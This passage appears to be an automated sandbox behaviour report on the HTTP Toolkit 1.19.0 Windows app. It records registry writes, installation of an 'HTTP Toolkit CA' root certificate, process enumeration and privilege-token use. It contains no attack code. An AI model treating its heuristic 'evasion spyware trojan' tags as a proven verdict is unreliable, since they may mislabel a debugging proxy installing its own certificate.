Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Key created \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}" C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\REQUEST C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\eSIM Certification Authorities C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TrustedAppRoot C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\FlightRoot C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TestSignRoot C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\TrustedDevices C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\ClientAuthIssuer C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\Certificates C:\Windows\system32\rundll32.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C\Blob = 0400000001000000100000007d303b2284780fdf78eddc9640d2cdb80f0000000100000020000000d4fb3c8fad6bb1dc074433bc96aa8eac3d74e8025b3aa4f8f3d4e8b09731a25b140000000100000014000000ad37109fa4093843894a8ec1ed7d224559916d4e1900000001000000100000008c3d02928bf076676b152b953c61f23d030000000100000014000000b19ae3e3bd970dfe446dab528f10d5f41a78122c5c0000000100000004000000000800002000000001000000530300003082034f30820237a00302010202110a41c84b9ee23745a788daa95114f06245300d06092a864886f70d01010b05003041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b6974204341301e170d3234313031343232333233375a170d3235313031353232333233375a3041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b697420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d65178495cf1d66dc5a11208075fc7f9f96feee7aad5e52c31fcaef7b4af09e7a0e885299e8445deb9acaac878a4d0098739a53d8040f36e1bd33c582c820cfca71d21890abecc558fece296a9b431dfbdb1ecc9445c4af63ca4780158f74fd6539cb51f6bdf433fd08615fd9893c3eb5ba155b4b17ec960b1a515faebbd5e0aa654452e26cc8ad648e3d0019030bb0e42bcfc79a79a2b3cf712f42bb962396508d42c4c67777a5dc27fe9ad9184731e79e49973ae6e32b42fedd044884bb8fdde87760d80e11221b659119e706d52f940065b263fe10cb3a942c460c18ffbd1e5a4609d89d693078e2ceccfb06e9ba4efb1786d86fbd8c9a5f11a71d1889e590203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff0404030201c6301d0603551d0e04160414ad37109fa4093843894a8ec1ed7d224559916d4e300d06092a864886f70d01010b05000382010100c944b2c3203f64c1802750e6b05f1796fb42d6537834ef8ed8ed3fc83a0e34192c72665e3d96fefce2499174d53a6ab2b4133ccb468f4d3b82551d6dc156ae392d5bd0761f1a9edeaacc1e7af051933d80fedc4ca761f49ee6baf502dd045803f2eecb6f5dd1be3e35dd8f5d41c8576c3bf61cba548ee8c2ea8e738e3ef96a452f278337aae957298a43e180b6a131f7d86af2026a7b15e20c61b304cd939de22540625c348ace4d67dbb81e890b48199ecfb486cab19f9b069c4500e7e50e59a0daa6b5e07f386bfdcc652b47ab9c4f7256bb6720fb3664e12d0a1d0b9f550995cae9a7ac19bcda617149cf6135106818487d586f5fa51572dd7a0eff71b988 C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\Windows Live ID Token Issuer C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\REQUEST\CRLs C:\Windows\system32\rundll32.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C\Blob = 0400000001000000100000007d303b2284780fdf78eddc9640d2cdb80f0000000100000020000000d4fb3c8fad6bb1dc074433bc96aa8eac3d74e8025b3aa4f8f3d4e8b09731a25b140000000100000014000000ad37109fa4093843894a8ec1ed7d224559916d4e1900000001000000100000008c3d02928bf076676b152b953c61f23d030000000100000014000000b19ae3e3bd970dfe446dab528f10d5f41a78122c5c0000000100000004000000000800002000000001000000530300003082034f30820237a00302010202110a41c84b9ee23745a788daa95114f06245300d06092a864886f70d01010b05003041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b6974204341301e170d3234313031343232333233375a170d3235313031353232333233375a3041311830160603550403130f4854545020546f6f6c6b6974204341310b300906035504061302585831183016060355040a130f4854545020546f6f6c6b697420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d65178495cf1d66dc5a11208075fc7f9f96feee7aad5e52c31fcaef7b4af09e7a0e885299e8445deb9acaac878a4d0098739a53d8040f36e1bd33c582c820cfca71d21890abecc558fece296a9b431dfbdb1ecc9445c4af63ca4780158f74fd6539cb51f6bdf433fd08615fd9893c3eb5ba155b4b17ec960b1a515faebbd5e0aa654452e26cc8ad648e3d0019030bb0e42bcfc79a79a2b3cf712f42bb962396508d42c4c67777a5dc27fe9ad9184731e79e49973ae6e32b42fedd044884bb8fdde87760d80e11221b659119e706d52f940065b263fe10cb3a942c460c18ffbd1e5a4609d89d693078e2ceccfb06e9ba4efb1786d86fbd8c9a5f11a71d1889e590203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff0404030201c6301d0603551d0e04160414ad37109fa4093843894a8ec1ed7d224559916d4e300d06092a864886f70d01010b05000382010100c944b2c3203f64c1802750e6b05f1796fb42d6537834ef8ed8ed3fc83a0e34192c72665e3d96fefce2499174d53a6ab2b4133ccb468f4d3b82551d6dc156ae392d5bd0761f1a9edeaacc1e7af051933d80fedc4ca761f49ee6baf502dd045803f2eecb6f5dd1be3e35dd8f5d41c8576c3bf61cba548ee8c2ea8e738e3ef96a452f278337aae957298a43e180b6a131f7d86af2026a7b15e20c61b304cd939de22540625c348ace4d67dbb81e890b48199ecfb486cab19f9b069c4500e7e50e59a0daa6b5e07f386bfdcc652b47ab9c4f7256bb6720fb3664e12d0a1d0b9f550995cae9a7ac19bcda617149cf6135106818487d586f5fa51572dd7a0eff71b988 C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\eSIM Certification Authorities\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\B19AE3E3BD970DFE446DAB528F10D5F41A78122C C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedAppRoot\CTLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\Windows Live ID Token Issuer\CRLs C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\MACHINE\Software\Microsoft\SystemCertificates\REQUEST C:\Windows\system32\rundll32.exe N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\Downloads\http-toolkit-ca-certificate.crt:Zone.Identifier C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
N/A N/A C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
